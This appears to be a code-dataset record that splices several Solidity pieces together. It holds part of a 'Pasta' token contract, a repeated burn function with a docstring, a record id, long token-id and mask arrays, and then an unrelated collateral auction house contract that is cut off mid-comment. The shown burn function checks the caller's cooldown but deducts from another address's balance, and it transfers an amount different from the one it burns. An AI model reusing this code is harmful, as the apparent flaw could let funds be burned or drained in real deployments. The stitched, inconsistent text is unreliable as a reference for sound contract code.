/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Cooldown(address indexed user);
constructor(uint cooldown_, uint redeemWindow_) public {
COOLDOWN_SECONDS = cooldown_;
REDEEM_WINDOW = redeemWindow_;
}
/**
* @notice Mint tokens from UNI-V2 ETH/PASTA LP Tokens
* @param dst Address of the user to receive the tokens
* @param rawAmount The number of tokens to mint
*/
function mint(address dst, uint rawAmount) external {
uint96 amount = safe96(rawAmount, "Pasta::mint: amount exceeds 96 bits");
require(amount != 0, "Pasta::mint: invalid amount");
require(food.transferFrom(msg.sender, address(this), rawAmount), "Pasta::mint: mint failed");
balances[dst] = add96(balances[dst], amount, "Pasta::mint: mint amount overflows");
totalSupply = add256(totalSupply, rawAmount);
if (delegates[dst] == address(0)) {
_delegate(dst, dst);
} else {
_moveDelegates(address(0), delegates[dst], amount);
}
emit Transfer(address(0), dst, rawAmount);
}
/**
* @notice Burn tokens and recieve UNI-V2 ETH/PASTA LP Tokens
* @param dst Address of the user to receive the tokens
* @param rawAmount The number of tokens to burn
*/
function burn(address dst, uint rawAmount) external {
uint96 amount = safe96(rawAmount, "Pasta::burn: amount exceeds 96 bits");
require(amount != 0, "Pasta::burn: invalid amount");
uint256 cooldownStartTimestamp = holderCooldowns[msg.sender];
require(
block.timestamp > add256(cooldownStartTimestamp, COOLDOWN_SECONDS),
"Pasta::burn: invalid cooldown"
);
require(
sub256(block.timestamp, add256(cooldownStartTimestamp, COOLDOWN_SECONDS)) <= REDEEM_WINDOW,
"Pasta::burn: redeem window over"
);
uint96 amtToRedeem = (amount > balances[msg.sender]) ? balances[msg.sender] : amount;
balances[dst] = sub96(balances[dst], amtToRedeem, "Pasta::burn: burn amount underflows");
totalSupply = sub256(totalSupply, uint256(amtToRedeem));
require(food.transfer(dst, rawAmount), "Pasta::burn: transfer failed");
_moveDelegates(delegates[dst], address(0), amtToRedeem);
emit Transfer(dst, address(0), rawAmount);
}
/**
* @dev Activates the cooldown period to redeem
*/
function cooldown() external {
require(balances[msg.sender] != 0, "Pasta::cooldown: invalid balance");
holderCooldowns[msg.sender] = block.timestamp;
emit Cooldown(msg.sender);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) pure external returns (bool) {
revert(errorMsg);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) pure external returns (bool) {
revert(errorMsg);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) pure external returns (bool) {
revert(errorMsg);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function add256(uint a, uint b) internal pure returns (uint c) {
require((c = a + b) >= a, "math-not-safe");
}
function sub256(uint a, uint b) internal pure returns (uint c) {
require((c = a - b) <= a, "math-not-safe");
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
* @notice Burn tokens and recieve UNI-V2 ETH/PASTA LP Tokens @param dst Address of the user to receive the tokens @param rawAmount The number of tokens to burn/
|
function burn(address dst, uint rawAmount) external {
uint96 amount = safe96(rawAmount, "Pasta::burn: amount exceeds 96 bits");
require(amount != 0, "Pasta::burn: invalid amount");
uint256 cooldownStartTimestamp = holderCooldowns[msg.sender];
require(
block.timestamp > add256(cooldownStartTimestamp, COOLDOWN_SECONDS),
"Pasta::burn: invalid cooldown"
);
require(
sub256(block.timestamp, add256(cooldownStartTimestamp, COOLDOWN_SECONDS)) <= REDEEM_WINDOW,
"Pasta::burn: redeem window over"
);
uint96 amtToRedeem = (amount > balances[msg.sender]) ? balances[msg.sender] : amount;
balances[dst] = sub96(balances[dst], amtToRedeem, "Pasta::burn: burn amount underflows");
totalSupply = sub256(totalSupply, uint256(amtToRedeem));
require(food.transfer(dst, rawAmount), "Pasta::burn: transfer failed");
_moveDelegates(delegates[dst], address(0), amtToRedeem);
emit Transfer(dst, address(0), rawAmount);
}
| 8,079,060 |
[
1,
38,
321,
2430,
471,
1950,
21271,
19462,
17,
58,
22,
512,
2455,
19,
4066,
882,
37,
511,
52,
13899,
225,
3046,
5267,
434,
326,
729,
358,
6798,
326,
2430,
225,
1831,
6275,
1021,
1300,
434,
2430,
358,
18305,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
18305,
12,
2867,
3046,
16,
2254,
1831,
6275,
13,
3903,
288,
203,
3639,
2254,
10525,
3844,
273,
4183,
10525,
12,
1899,
6275,
16,
315,
52,
689,
69,
2866,
70,
321,
30,
3844,
14399,
19332,
4125,
8863,
203,
3639,
2583,
12,
8949,
480,
374,
16,
315,
52,
689,
69,
2866,
70,
321,
30,
2057,
3844,
8863,
203,
203,
3639,
2254,
5034,
27367,
2378,
1685,
4921,
273,
10438,
39,
1371,
2378,
87,
63,
3576,
18,
15330,
15533,
203,
3639,
2583,
12,
203,
5411,
1203,
18,
5508,
405,
527,
5034,
12,
71,
1371,
2378,
1685,
4921,
16,
7910,
1741,
12711,
67,
11609,
3631,
203,
5411,
315,
52,
689,
69,
2866,
70,
321,
30,
2057,
27367,
2378,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
720,
5034,
12,
2629,
18,
5508,
16,
527,
5034,
12,
71,
1371,
2378,
1685,
4921,
16,
7910,
1741,
12711,
67,
11609,
3719,
1648,
2438,
1639,
3375,
67,
23407,
16,
203,
5411,
315,
52,
689,
69,
2866,
70,
321,
30,
283,
24903,
2742,
1879,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
10525,
25123,
774,
426,
24903,
273,
261,
8949,
405,
324,
26488,
63,
3576,
18,
15330,
5717,
692,
324,
26488,
63,
3576,
18,
15330,
65,
294,
3844,
31,
203,
203,
3639,
324,
26488,
63,
11057,
65,
273,
720,
10525,
12,
70,
26488,
63,
11057,
6487,
25123,
774,
426,
24903,
16,
315,
52,
689,
69,
2866,
70,
321,
30,
18305,
3844,
3613,
24190,
8863,
203,
3639,
2078,
3088,
1283,
273,
720,
5034,
12,
4963,
3088,
1283,
16,
2254,
5034,
12,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
pragma solidity 0.6.7;
abstract contract SAFEEngineLike {
function transferInternalCoins(address,address,uint256) virtual external;
function transferCollateral(bytes32,address,address,uint256) virtual external;
}
abstract contract OracleRelayerLike {
function redemptionPrice() virtual public returns (uint256);
}
abstract contract OracleLike {
function priceSource() virtual public view returns (address);
function getResultWithValidity() virtual public view returns (uint256, bool);
}
abstract contract LiquidationEngineLike {
function removeCoinsFromAuction(uint256) virtual public;
function addAuthorization(address) external virtual;
function removeAuthorization(address) external virtual;
function modifyParameters(bytes32,bytes32,address) external virtual;
function collateralTypes(bytes32) virtual public view returns (
IncreasingDiscountCollateralAuctionHouse collateralAuctionHouse,
uint256 liquidationPenalty, // [wad]
uint256 liquidationQuantity // [rad]
);
}
/// IncreasingDiscountCollateralAuctionHouse.sol
// Copyright (C) 2018 Rain <[emailย protected]>, 2020 Reflexer Labs, INC
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/*
This thing lets you sell some collateral at an increasing discount in order to instantly recapitalize the system
*/
contract IncreasingDiscountCollateralAuctionHouse {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "IncreasingDiscountCollateralAuctionHouse/account-not-authorized");
_;
}
// --- Data ---
struct Bid {
// How much collateral is sold in an auction
uint256 amountToSell; // [wad]
// Total/max amount of coins to raise
uint256 amountToRaise; // [rad]
// Current discount
uint256 currentDiscount; // [wad]
// Max possibe discount
uint256 maxDiscount; // [wad]
// Rate at which the discount is updated every second
uint256 perSecondDiscountUpdateRate; // [ray]
// Last time when the current discount was updated
uint256 latestDiscountUpdateTime; // [unix timestamp]
// Deadline after which the discount cannot increase anymore
uint48 discountIncreaseDeadline; // [unix epoch time]
// Who (which SAFE) receives leftover collateral that is not sold in the auction; usually the liquidated SAFE
address forgoneCollateralReceiver;
// Who receives the coins raised by the auction; usually the accounting engine
address auctionIncomeRecipient;
}
// Bid data for each separate auction
mapping (uint256 => Bid) public bids;
// SAFE database
SAFEEngineLike public safeEngine;
// Collateral type name
bytes32 public collateralType;
// Minimum acceptable bid
uint256 public minimumBid = 5 * WAD; // [wad]
// Total length of the auction. Kept to adhere to the same interface as the English auction but redundant
uint48 public totalAuctionLength = uint48(-1); // [seconds]
// Number of auctions started up until now
uint256 public auctionsStarted = 0;
// The last read redemption price
uint256 public lastReadRedemptionPrice;
// Minimum discount (compared to the system coin's current redemption price) at which collateral is being sold
uint256 public minDiscount = 0.95E18; // 5% discount // [wad]
// Maximum discount (compared to the system coin's current redemption price) at which collateral is being sold
uint256 public maxDiscount = 0.95E18; // 5% discount // [wad]
// Rate at which the discount will be updated in an auction
uint256 public perSecondDiscountUpdateRate = RAY; // [ray]
// Max time over which the discount can be updated
uint256 public maxDiscountUpdateRateTimeline = 1 hours; // [seconds]
// Max lower bound deviation that the collateral median can have compared to the FSM price
uint256 public lowerCollateralMedianDeviation = 0.90E18; // 10% deviation // [wad]
// Max upper bound deviation that the collateral median can have compared to the FSM price
uint256 public upperCollateralMedianDeviation = 0.95E18; // 5% deviation // [wad]
// Max lower bound deviation that the system coin oracle price feed can have compared to the systemCoinOracle price
uint256 public lowerSystemCoinMedianDeviation = WAD; // 0% deviation // [wad]
// Max upper bound deviation that the system coin oracle price feed can have compared to the systemCoinOracle price
uint256 public upperSystemCoinMedianDeviation = WAD; // 0% deviation // [wad]
// Min deviation for the system coin median result compared to the redemption price in order to take the median into account
uint256 public minSystemCoinMedianDeviation = 0.999E18; // [wad]
OracleRelayerLike public oracleRelayer;
OracleLike public collateralFSM;
OracleLike public systemCoinOracle;
LiquidationEngineLike public liquidationEngine;
bytes32 public constant AUCTION_HOUSE_TYPE = bytes32("COLLATERAL");
bytes32 public constant AUCTION_TYPE = bytes32("INCREASING_DISCOUNT");
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event StartAuction(
uint256 id,
uint256 auctionsStarted,
uint256 amountToSell,
uint256 initialBid,
uint256 indexed amountToRaise,
uint256 startingDiscount,
uint256 maxDiscount,
uint256 perSecondDiscountUpdateRate,
uint48 discountIncreaseDeadline,
address indexed forgoneCollateralReceiver,
address indexed auctionIncomeRecipient
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event BuyCollateral(uint256 indexed id, uint256 wad, uint256 boughtCollateral);
event SettleAuction(uint256 indexed id, uint256 leftoverCollateral);
event TerminateAuctionPrematurely(uint256 indexed id, address sender, uint256 collateralAmount);
// --- Init ---
constructor(address safeEngine_, address liquidationEngine_, bytes32 collateralType_) public {
safeEngine = SAFEEngineLike(safeEngine_);
liquidationEngine = LiquidationEngineLike(liquidationEngine_);
collateralType = collateralType_;
authorizedAccounts[msg.sender] = 1;
emit AddAuthorization(msg.sender);
}
// --- Math ---
function addUint48(uint48 x, uint48 y) internal pure returns (uint48 z) {
require((z = x + y) >= x, "IncreasingDiscountCollateralAuctionHouse/add-uint48-overflow");
}
function addUint256(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "IncreasingDiscountCollateralAuctionHouse/add-uint256-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "IncreasingDiscountCollateralAuctionHouse/sub-underflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "IncreasingDiscountCollateralAuctionHouse/mul-overflow");
}
uint256 constant WAD = 10 ** 18;
function wmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = multiply(x, y) / WAD;
}
uint256 constant RAY = 10 ** 27;
function rdivide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "IncreasingDiscountCollateralAuctionHouse/rdiv-by-zero");
z = multiply(x, RAY) / y;
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
require(y == 0 || z / y == x, "IncreasingDiscountCollateralAuctionHouse/rmul-overflow");
z = z / RAY;
}
function wdivide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "IncreasingDiscountCollateralAuctionHouse/wdiv-by-zero");
z = multiply(x, WAD) / y;
}
function minimum(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = (x <= y) ? x : y;
}
function maximum(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = (x >= y) ? x : y;
}
function rpower(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
assembly {
switch x case 0 {switch n case 0 {z := b} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := b } default { z := x }
let half := div(b, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, b)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, b)
}
}
}
}
}
// --- General Utils ---
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Admin ---
/**
* @notice Modify an uint256 parameter
* @param parameter The name of the parameter to modify
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "minDiscount") {
require(both(data >= maxDiscount, data < WAD), "IncreasingDiscountCollateralAuctionHouse/invalid-min-discount");
minDiscount = data;
}
else if (parameter == "maxDiscount") {
require(both(both(data <= minDiscount, data < WAD), data > 0), "IncreasingDiscountCollateralAuctionHouse/invalid-max-discount");
maxDiscount = data;
}
else if (parameter == "perSecondDiscountUpdateRate") {
require(data <= RAY, "IncreasingDiscountCollateralAuctionHouse/invalid-discount-update-rate");
perSecondDiscountUpdateRate = data;
}
else if (parameter == "maxDiscountUpdateRateTimeline") {
require(both(data > 0, uint256(uint48(-1)) > addUint256(now, data)), "IncreasingDiscountCollateralAuctionHouse/invalid-update-rate-time");
maxDiscountUpdateRateTimeline = data;
}
else if (parameter == "lowerCollateralMedianDeviation") {
require(data <= WAD, "IncreasingDiscountCollateralAuctionHouse/invalid-lower-collateral-median-deviation");
lowerCollateralMedianDeviation = data;
}
else if (parameter == "upperCollateralMedianDeviation") {
require(data <= WAD, "IncreasingDiscountCollateralAuctionHouse/invalid-upper-collateral-median-deviation");
upperCollateralMedianDeviation = data;
}
else if (parameter == "lowerSystemCoinMedianDeviation") {
require(data <= WAD, "IncreasingDiscountCollateralAuctionHouse/invalid-lower-system-coin-median-deviation");
lowerSystemCoinMedianDeviation = data;
}
else if (parameter == "upperSystemCoinMedianDeviation") {
require(data <= WAD, "IncreasingDiscountCollateralAuctionHouse/invalid-upper-system-coin-median-deviation");
upperSystemCoinMedianDeviation = data;
}
else if (parameter == "minSystemCoinMedianDeviation") {
minSystemCoinMedianDeviation = data;
}
else if (parameter == "minimumBid") {
minimumBid = data;
}
else revert("IncreasingDiscountCollateralAuctionHouse/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/**
* @notice Modify an addres parameter
* @param parameter The parameter name
* @param data New address for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
if (parameter == "oracleRelayer") oracleRelayer = OracleRelayerLike(data);
else if (parameter == "collateralFSM") {
collateralFSM = OracleLike(data);
// Check that priceSource() is implemented
collateralFSM.priceSource();
}
else if (parameter == "systemCoinOracle") systemCoinOracle = OracleLike(data);
else if (parameter == "liquidationEngine") liquidationEngine = LiquidationEngineLike(data);
else revert("IncreasingDiscountCollateralAuctionHouse/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
// --- Private Auction Utils ---
/*
* @notify Get the amount of bought collateral from a specific auction using custom collateral price feeds, a system
* coin price feed and a custom discount
* @param id The ID of the auction to bid in and get collateral from
* @param collateralFsmPriceFeedValue The collateral price fetched from the FSM
* @param collateralMedianPriceFeedValue The collateral price fetched from the oracle median
* @param systemCoinPriceFeedValue The system coin market price fetched from the oracle
* @param adjustedBid The system coin bid
* @param customDiscount The discount offered
*/
function getBoughtCollateral(
uint256 id,
uint256 collateralFsmPriceFeedValue,
uint256 collateralMedianPriceFeedValue,
uint256 systemCoinPriceFeedValue,
uint256 adjustedBid,
uint256 customDiscount
) private view returns (uint256) {
// calculate the collateral price in relation to the latest system coin price and apply the discount
uint256 discountedCollateralPrice =
getDiscountedCollateralPrice(
collateralFsmPriceFeedValue,
collateralMedianPriceFeedValue,
systemCoinPriceFeedValue,
customDiscount
);
// calculate the amount of collateral bought
uint256 boughtCollateral = wdivide(adjustedBid, discountedCollateralPrice);
// if the calculated collateral amount exceeds the amount still up for sale, adjust it to the remaining amount
boughtCollateral = (boughtCollateral > bids[id].amountToSell) ? bids[id].amountToSell : boughtCollateral;
return boughtCollateral;
}
/*
* @notice Update the discount used in a particular auction
* @param id The id of the auction to update the discount for
* @returns The newly computed currentDiscount for the targeted auction
*/
function updateCurrentDiscount(uint256 id) private returns (uint256) {
// Work directly with storage
Bid storage auctionBidData = bids[id];
auctionBidData.currentDiscount = getNextCurrentDiscount(id);
auctionBidData.latestDiscountUpdateTime = now;
return auctionBidData.currentDiscount;
}
// --- Public Auction Utils ---
/*
* @notice Fetch the collateral median price (from the oracle, not FSM)
* @returns The collateral price from the oracle median; zero if the address of the collateralMedian (as fetched from the FSM) is null
*/
function getCollateralMedianPrice() public view returns (uint256 priceFeed) {
// Fetch the collateral median address from the collateral FSM
address collateralMedian;
try collateralFSM.priceSource() returns (address median) {
collateralMedian = median;
} catch (bytes memory revertReason) {}
if (collateralMedian == address(0)) return 0;
// wrapped call toward the collateral median
try OracleLike(collateralMedian).getResultWithValidity()
returns (uint256 price, bool valid) {
if (valid) {
priceFeed = uint256(price);
}
} catch (bytes memory revertReason) {
return 0;
}
}
/*
* @notice Fetch the system coin market price
* @returns The system coin market price fetch from the oracle
*/
function getSystemCoinMarketPrice() public view returns (uint256 priceFeed) {
if (address(systemCoinOracle) == address(0)) return 0;
// wrapped call toward the system coin oracle
try systemCoinOracle.getResultWithValidity()
returns (uint256 price, bool valid) {
if (valid) {
priceFeed = uint256(price) * 10 ** 9; // scale to RAY
}
} catch (bytes memory revertReason) {
return 0;
}
}
/*
* @notice Get the smallest possible price that's at max lowerSystemCoinMedianDeviation deviated from the redemption price and at least
* minSystemCoinMedianDeviation deviated
*/
function getSystemCoinFloorDeviatedPrice(uint256 redemptionPrice) public view returns (uint256 floorPrice) {
uint256 minFloorDeviatedPrice = wmultiply(redemptionPrice, minSystemCoinMedianDeviation);
floorPrice = wmultiply(redemptionPrice, lowerSystemCoinMedianDeviation);
floorPrice = (floorPrice <= minFloorDeviatedPrice) ? floorPrice : redemptionPrice;
}
/*
* @notice Get the highest possible price that's at max upperSystemCoinMedianDeviation deviated from the redemption price and at least
* minSystemCoinMedianDeviation deviated
*/
function getSystemCoinCeilingDeviatedPrice(uint256 redemptionPrice) public view returns (uint256 ceilingPrice) {
uint256 minCeilingDeviatedPrice = wmultiply(redemptionPrice, subtract(2 * WAD, minSystemCoinMedianDeviation));
ceilingPrice = wmultiply(redemptionPrice, subtract(2 * WAD, upperSystemCoinMedianDeviation));
ceilingPrice = (ceilingPrice >= minCeilingDeviatedPrice) ? ceilingPrice : redemptionPrice;
}
/*
* @notice Get the collateral price from the FSM and the final system coin price that will be used when bidding in an auction
* @param systemCoinRedemptionPrice The system coin redemption price
* @returns The collateral price from the FSM and the final system coin price used for bidding (picking between redemption and market prices)
*/
function getCollateralFSMAndFinalSystemCoinPrices(uint256 systemCoinRedemptionPrice) public view returns (uint256, uint256) {
require(systemCoinRedemptionPrice > 0, "IncreasingDiscountCollateralAuctionHouse/invalid-redemption-price-provided");
(uint256 collateralFsmPriceFeedValue, bool collateralFsmHasValidValue) = collateralFSM.getResultWithValidity();
if (!collateralFsmHasValidValue) {
return (0, 0);
}
uint256 systemCoinAdjustedPrice = systemCoinRedemptionPrice;
uint256 systemCoinPriceFeedValue = getSystemCoinMarketPrice();
if (systemCoinPriceFeedValue > 0) {
uint256 floorPrice = getSystemCoinFloorDeviatedPrice(systemCoinAdjustedPrice);
uint256 ceilingPrice = getSystemCoinCeilingDeviatedPrice(systemCoinAdjustedPrice);
if (uint(systemCoinPriceFeedValue) < systemCoinAdjustedPrice) {
systemCoinAdjustedPrice = maximum(uint256(systemCoinPriceFeedValue), floorPrice);
} else {
systemCoinAdjustedPrice = minimum(uint256(systemCoinPriceFeedValue), ceilingPrice);
}
}
return (uint256(collateralFsmPriceFeedValue), systemCoinAdjustedPrice);
}
/*
* @notice Get the collateral price used in bidding by picking between the raw FSM and the oracle median price and taking into account
* deviation limits
* @param collateralFsmPriceFeedValue The collateral price fetched from the FSM
* @param collateralMedianPriceFeedValue The collateral price fetched from the median attached to the FSM
*/
function getFinalBaseCollateralPrice(
uint256 collateralFsmPriceFeedValue,
uint256 collateralMedianPriceFeedValue
) public view returns (uint256) {
uint256 floorPrice = wmultiply(collateralFsmPriceFeedValue, lowerCollateralMedianDeviation);
uint256 ceilingPrice = wmultiply(collateralFsmPriceFeedValue, subtract(2 * WAD, upperCollateralMedianDeviation));
uint256 adjustedMedianPrice = (collateralMedianPriceFeedValue == 0) ?
collateralFsmPriceFeedValue : collateralMedianPriceFeedValue;
if (adjustedMedianPrice < collateralFsmPriceFeedValue) {
return maximum(adjustedMedianPrice, floorPrice);
} else {
return minimum(adjustedMedianPrice, ceilingPrice);
}
}
/*
* @notice Get the discounted collateral price (using a custom discount)
* @param collateralFsmPriceFeedValue The collateral price fetched from the FSM
* @param collateralMedianPriceFeedValue The collateral price fetched from the oracle median
* @param systemCoinPriceFeedValue The system coin price fetched from the oracle
